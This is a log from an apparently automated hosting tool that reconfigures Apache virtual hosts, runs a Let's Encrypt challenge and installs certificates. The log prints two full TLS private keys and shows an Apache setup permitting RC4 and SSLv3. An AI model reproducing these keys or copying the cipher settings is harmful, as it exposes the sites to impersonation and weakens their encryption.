rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_www_co.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_www_co.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_www_co.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_www_co.conf= 1'
fi
2025-11-14 06:00:38:
chmod 755 /tmp/pkp608699; /tmp/pkp608699; rm /tmp/pkp608699
2025-11-14 06:00:38:
2025-11-14 06:00:38:
PUT: /tmp/pkp259678
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-14 06:00:38:
chmod 755 /tmp/pkp259678; /tmp/pkp259678; rm /tmp/pkp259678
2025-11-14 06:00:38:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-14 06:00:38: Establishing a connection
2025-11-14 06:00:38:
PUT: /tmp/pkp516555
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-14 06:00:38:
chmod 755 /tmp/pkp516555; /tmp/pkp516555; rm /tmp/pkp516555
2025-11-14 06:00:38:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-14 06:00:38:
PUT: /tmp/pkp274463
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_www_co.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-14 06:00:38:
chmod 755 /tmp/pkp274463; /tmp/pkp274463; rm /tmp/pkp274463
2025-11-14 06:00:38:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_co.conf 1820
<VirtualHost *:80>
ServerName patientapps.co
ServerAlias www.patientapps.co
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_www/public
<Directory /var/www/patientapps_www/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_access.log combined
ErrorLog /var/log/apache2/patientapps/www_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteCond %{REQUEST_URI} !/event
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName patientapps.co
ServerAlias www.patientapps.co
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt
DocumentRoot /var/www/patientapps_www/public
<Directory /var/www/patientapps_www/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2025-11-14 06:00:38:
PUT: /tmp/pkp644499
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-14 06:00:38:
chmod 755 /tmp/pkp644499; /tmp/pkp644499; rm /tmp/pkp644499
2025-11-14 06:00:38:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt 5368
a5:1f:89:5e:40:b2:b8:12:61:64:2a:60:1a:4c:aa:b2
-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBiIoZxXJlBRxbpnXxdUNUrAvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTE0MDUwMjA1WhcNMjYwMjEyMDUwMjA0WjAZMRcwFQYDVQQD
Ew5wYXRpZW50YXBwcy5jbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AJQOV4RMQLF/gqwUUE979lIiVeMFFuubPX7iD8DagIO+eorvkFBsip7BqyDRK2pu
uUbcEsCdft85HHNnXIS11yI+QhzkqOeK8UkfKWOqA122bCXb+5ArlCFSG5ou54Nc
1KbPLuSjYJufvFRkdsaG/03uVgPgGHO3hhMooUaHXos4kQ3Q7LoLrzEcObPKgNHI
dLkUwpbfDu5UxDjJRqf5ZmC+yGLXN5iUHj3qp5RAI5bwNvFPxvS4PRK2+j85t0FH
0Z/z4zD2cWsCwRt/YQ8FjnjVrjR7ctvJivFPF9ENyH8noiKYMOdMpef8bpwZHFv9
S8vBX4kahKXO5hypVd6nijECAwEAAaOCAi8wggIrMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUi6NlcQDclRiPQFaIAvuqw4i2RjEwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzArBgNVHREEJDAighAqLnBhdGllbnRhcHBzLmNvgg5w
YXRpZW50YXBwcy5jbzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzQ4LmNybDCCAQMGCisGAQQB1nkC
BAIEgfQEgfEA7wB2AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAAB
moDziKAAAAQDAEcwRQIhAIiUSnTDaAeg3dfCObrdaQOISiOQdbYE+2qwsSWM1ma5
AiAYxyA7zqfQR6lQH3aT3pB+d+aRSaouI0jE4qxhF3mj1gB1AMs49xWJfIShRF9b
wd37yW7ymlnNRwppBYWwyxTDFFjnAAABmoDzkJ8AAAQDAEYwRAIgGKbrCiLgS7NR
zWA6WKjvMdqqY2ap0bX0dzEPgeH6VyACIFMPLTVFvr3FZNL8aCnT8i2rF7ngysO4
nX69ivDnLtywMA0GCSqGSIb3DQEBCwUAA4IBAQCNNSHMGfrbCTxk2XUtcg0fujp7
GdyFkPGI+Hpcy+4Z3Y/B93wRbwBU51Bp7NaO81ukfuCFaLTniJs6O9qPnZPAN7Lr
dcRSjdd+WB7h11dsBc3G5xkel2GJLSF9rdb43b3DHOnQiIJ3D54UO3yyfjPZST/T
Do2+athFou1NtR4nHrF+ViilKLirFUls/lQEK8DYCep9RHiDAGmsZi7IJLxJwHua
qPJuiLm/l/6WFOOrl1kGle64vbfxDDJcA/D8h+0WDnBgLB8ae6GrObnUxFcq9RW1
NaNh1aoFDu+ncACf5DICNGfy6Jz34zOAgYPyXUyNI0ASvMUuFhkHrWmPbb2V
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCUDleETECxf4Ks
FFBPe/ZSIlXjBRbrmz1+4g/A2oCDvnqK75BQbIqewasg0StqbrlG3BLAnX7fORxz
Z1yEtdciPkIc5KjnivFJHyljqgNdtmwl2/uQK5QhUhuaLueDXNSmzy7ko2Cbn7xU
ZHbGhv9N7lYD4Bhzt4YTKKFGh16LOJEN0Oy6C68xHDmzyoDRyHS5FMKW3w7uVMQ4
yUan+WZgvshi1zeYlB496qeUQCOW8DbxT8b0uD0Stvo/ObdBR9Gf8+Mw9nFrAsEb
f2EPBY541a40e3LbyYrxTxfRDch/J6IimDDnTKXn/G6cGRxb/UvLwV+JGoSlzuYc
qVXep4oxAgMBAAECggEALUAM43RiuV0dVPaIbSKX8BZqZY4iqTOzIdp5shmV+a33
ygrZ8pqZ61eJs+f5+veITO3qFVCNfC/6UBMhJbZl4CNjFW2Vad7/S7focHt/t96P
QyruwetvxJdRtFftjiqLG8hqrpp4Zlf1uV1TJ+4OjYTwaRLOpl9K7QQX9nRdIvNZ
7mQiCFgr0xAIhIcH0ggOuwknaHhjpYo3NdwZ1AFLctMl2R5+nEr/Hd0m49cpTgGp
fNNLxN3funvDQAWjPJC1FwsJUtbzcJ1T8zONRbQ1F3fUH9IZFREp7vDMgwW3OL1s
en6Jlaps7WUKn5ZTajuFwtACgnB+2NhmcIq5jikIOQKBgQDFJOeQg+ujspWWFsqU
vLaJf3Btc0t8QaFOp55ruLs/Z7Ydinxu+AAIez9Ymm4AxQeMVaf1OpoR8insTnX4
/2R1+tALUELup2AcLpn/hVH1O+nIz1hXB/+/UK7eWx1vfFyE6JwVBIftXDEC5wbT
RdgskDZ65oixOoivSwCB1QvszwKBgQDAQcnjbS6wh7RSuqGld6mxuRgE2seJzj1a
1B9HnxErsz4vU+pQ3F9IO9P3q4zmgUzzh3o1q8hGEIfEP70h187WHTog25xmRLzJ
XpnDeV/Sp1KoveJmjgB1gkZbTn6LSO0lj4bUvsB+4ZsBuHwL/KxyDE66yOzB/pH2
ZD2fFojY/wKBgDNyuRfGxaT3wv/jPMTqJrzlTCLUFtv7iKwtJDO6hus6FpXJAUY4
ZFHSUCrASnra8GhYJjfiLjkGuJgZtcHgbIg5hzecn4sGlRdltfyv/z5/fzhPnB9C
UCTOWoRexOTGUKLCzZDSmOKBz6yRO//A13RxwjX6maueufL9IMnBHpaTAoGAS9Fm
AadME1fg+AMbvjpblHfPDhMNP74ymgAvObp0NgygyF9Kd4sAlGbrp69iiICTTTKv
Mj1FZMQeFnmgZ5lIu02ZX93bZsVSwgLplpnl/Rf5VAxWHWWArtaqUlW5N8qRow9f
98Ql+6OS0nHjkYKaqvtJjQWxwKtY+pb7aiKj4xcCgYBszkbBW7g8st3PFigUcGJP
cIrs9NGJgoFMfhlUCQ3gzUjdCTXH4TTUXvxJtujPefKO0yj8LVOckV2mdmfYhVU/
IhD/6z8hQ/PiCKcPNqs7y0NIBLnpRKaFmLVA1LOmAMKWL2Wf6I4Fj4naaLXWVsBU
6BeIEB8MU1RLgaNaHdFDqw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-14 06:00:39: Establishing a connection
2025-11-14 06:00:39: Establishing a connection
2025-11-14 06:00:39:
PUT: /tmp/pkp651832
#!/bin/bash
if [ -d "/var/www/hostz_condor/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-14 06:00:39:
chmod 755 /tmp/pkp651832; /tmp/pkp651832; rm /tmp/pkp651832
2025-11-14 06:00:39:
1
2025-11-14 06:00:40: Establishing a connection
2025-11-14 06:00:40:
PUT: /tmp/pkp255854
#!/bin/bash
mkdir -p "/var/www/hostz_condor/.well-known/acme-challenge/"
cd "/var/www/hostz_condor/.well-known/acme-challenge/"
cat > TmPRfRCFFEcvA4yd0ELPAE5nNABGgVpg03mmpgF3b9E <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
TmPRfRCFFEcvA4yd0ELPAE5nNABGgVpg03mmpgF3b9E.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 TmPRfRCFFEcvA4yd0ELPAE5nNABGgVpg03mmpgF3b9E
2025-11-14 06:00:40:
chmod 755 /tmp/pkp255854; /tmp/pkp255854; rm /tmp/pkp255854
2025-11-14 06:00:40:
2025-11-14 06:00:45: Establishing a connection
2025-11-14 06:00:46:
PUT: /tmp/pkp486663
#!/bin/bash
mkdir -p "/var/www/hostz_condor/.well-known/acme-challenge/"
cd "/var/www/hostz_condor/.well-known/acme-challenge/"
rm TmPRfRCFFEcvA4yd0ELPAE5nNABGgVpg03mmpgF3b9E
2025-11-14 06:00:46:
chmod 755 /tmp/pkp486663; /tmp/pkp486663; rm /tmp/pkp486663
2025-11-14 06:00:46:
2025-11-14 06:00:46: Establishing a connection
2025-11-14 06:00:46:
PUT: /tmp/pkp337060
#!/bin/bash
temp_file=$(mktemp)
TARGET=452589c154b484450eedc2df554d68f3.crt
cat > $temp_file <<'endmsg'
14:bf:94:e1:97:82:13:9d:9c:69:8f:0b:b9:5c:f8:d9
-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBv5STSHH+2vPOt1UcNQz678+MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTE0MDUwMjE1WhcNMjYwMjEyMDUwMjE0WjAbMRkwFwYDVQQD
ExBjb25kb3IuaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA5A+CsA9KzfZx4NOB+XQ0aHFV29KROf0iuo7+uPKy6jEKdF4N+gRlS/XAWFQr
/W+jm/+yu3Z5WFw5K1JfnpwbkUX6lPaCcXw/Azk0Bq7PzBVpjw/WpJNYKaUmxXxO
tnV67Md80R7dDjEifOhVrNqKr7GjasIaRPT/HwMAIVJ2X7jUdoRB6OQGn+Fp9i7M
AEFZSrqYLq2sw2Qj/zCoeLSsXQpr27FXK4sepSSxliINGbpMPfylDYvap8CnA4LA
rionv+jx01xYScp6l2eAEYLI0TiHpX8edeKGZs6Xglc+Qy/T+jDa9WlXnSR6/8BU
ctYNt1e7bFIUYUy2AH9DvuDNewIDAQABo4ICITCCAh0wDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBT/VR3N0u2jl//fjA4HEODls90TdzAfBgNVHSMEGDAWgBQAtSnyLY5v
MeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTIuaS5sZW5jci5vcmcvMBsGA1UdEQQUMBKCEGNvbmRvci5ob3N0ei5vcmcw
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
Mi5jLmxlbmNyLm9yZy82My5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgDL
OPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZqA87AwAAAEAwBHMEUC
IBaRy6TTBRCeDkXegsH7TGfP3PTZS3cQsJifzPlAiL5sAiEAn4/FJamY7hv7nFNm
b0kiGTU1xo+pe60smJDMXOtS04QAdwAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0h
qSWsYcVOIQAAAZqA87AMAAAEAwBIMEYCIQDfMt6huFnxYHrilrlq/pR6YPfFZ3Q3
/zogU+snCAjQUwIhAIJ/TDda32w1djcAq+EcE4VTgyEdGc8M/hC0KmwBNNE0MA0G
CSqGSIb3DQEBCwUAA4IBAQDC2YwaM+RBe6FiimY6JtmzqexmCUkAVoIB0TaY7khm
ibo8jzh/OPSdiqPwCYpWUFJ5Dg2ZZlTUcQ/vz4IgeaiNzVCKYMPhDFFD7xTcJFJ7
/irR1tw3wP4CRWmENLs+021e34eUlBG2dvUxO9KKZyNdG7U3TTVCP+PbA2m3aK4y
9YBXgf4+fEDIhwKUJjUNkxRUniKIniKledQp9o0eMu3Ep1WDIaeyQvZVI69cFz2p
+aUugUKv+OkJoacy9mZgUTaA+CHVRhDlRqJ6b8g9lsdfh/imCLSy9Wli272QsBbv
aU2igce0nmqvZHf7UPxYY21aaIe7cUFL81gSQGCysNm1
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDkD4KwD0rN9nHg
04H5dDRocVXb0pE5/SK6jv648rLqMQp0Xg36BGVL9cBYVCv9b6Ob/7K7dnlYXDkr
Ul+enBuRRfqU9oJxfD8DOTQGrs/MFWmPD9akk1gppSbFfE62dXrsx3zRHt0OMSJ8
6FWs2oqvsaNqwhpE9P8fAwAhUnZfuNR2hEHo5Aaf4Wn2LswAQVlKupgurazDZCP/
MKh4tKxdCmvbsVcrix6lJLGWIg0Zukw9/KUNi9qnwKcDgsCuKie/6PHTXFhJynqX
Z4ARgsjROIelfx514oZmzpeCVz5DL9P6MNr1aVedJHr/wFRy1g23V7tsUhRhTLYA
f0O+4M17AgMBAAECggEBAJ+pACwzuIHyq4zjZhX2tY388kff5Y38WqjS3R8rwffU
d2Y6RnynQSdpl8v+uYFG+/qFi2JUMeWbQubCV3DaBy6wGBrbbTz358Fg9bxL++v7
fZgLVZCIGuuk1DzjptNz8af8jLR2b/m0ill56ikGIpuXuDlQREXMYyMZ3ah2a6rc
j4du73NThgSVVxy8n5tAv+w5gQfouaDElyN5PSexEcDM3r3pHMs27pybVlMhHDuS
8B/m9QK/V2bgGlGtUtuVh71ySR4MdmDS/FRa2fRjtOUifjQLozead4Zj2FMhuFjm
Ibw5HS91nENPnK/w8nQmIc1YhDvYP5HJ8MvU2mT9aVECgYEA8iFF6bZzCiEtpKNc
RCBhlpm/CRMwn1alJGiXP8VVXCGnh3ja2/WQLKNP7SqfAU7Gntg+IUZ1q4DXhDAI
hQRJMlCvlnx/18emAZAyjczBjlas29c3xHlrb3TqCdQ/mu3+Jr34YJ4SKO7FAdeK
NJ2aoRoxaRNiSDD3TXjVOpCCwukCgYEA8R/qjMoUZrbTcU4Ax1DavON+K/GJVIu9
ZcYOwyWv3UZvpOnG5LWG7EvRTXyx3lTf050Fd1HpeT4z8mmlBqhMK4BdVjn6UqXJ
8SrU9qWykx4wZEb3rDCabMK/jP/cpEW1NTcG3IGhP4mnaWcS5dZmjLdtllsTnHAc
nYhGOztB5sMCgYBzWA5qC5Q52xxXNcsaWSKkD5HFzPJ4tVnuQjTrGCJVxWJ9UsFP
z2djHFlS7d7ZTKGpwfG3AE3F6ZbBTfCBDU2hPnanBaARNvaKABtVGZmLKRcnkxrp
6b2YVuW20PmL4JwV8KGFxUd5YGVRP1CDSCEFZejr2WQUZ98ndMx/HaBtIQKBgQDI
50vZZKJc9qX0OQbjC1ZFndLJsGU5QXlcLAquxF7kokRxhqtGco1por5Qrr3Qvq0D
t0gPo/tBHvfPWgC7LEzSzhB2wLX2WNaKj6KDo4nHlJbDZnIEUTbJufY5+BGR+dbC
8QdRgNymgP4xD0WqpNorEsZHSblsVekxxJKn1XbSWwKBgFoMYe5EQJ1deh7T2Yc7
96YhjedctQuGEXgSGS+4lVMVL6JlymEuPqw/NgFdyAVWAMpzcvO4d1XlN9WKCBOv
LpaE2AIMw0kFi1dCoyzhLHJmJyDJ+pBVw67x/8mCWAsM0sWTtHPCI4eb9NK8KaA+
FKFPG7V5eJ2XaXEgmpplXLGG
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
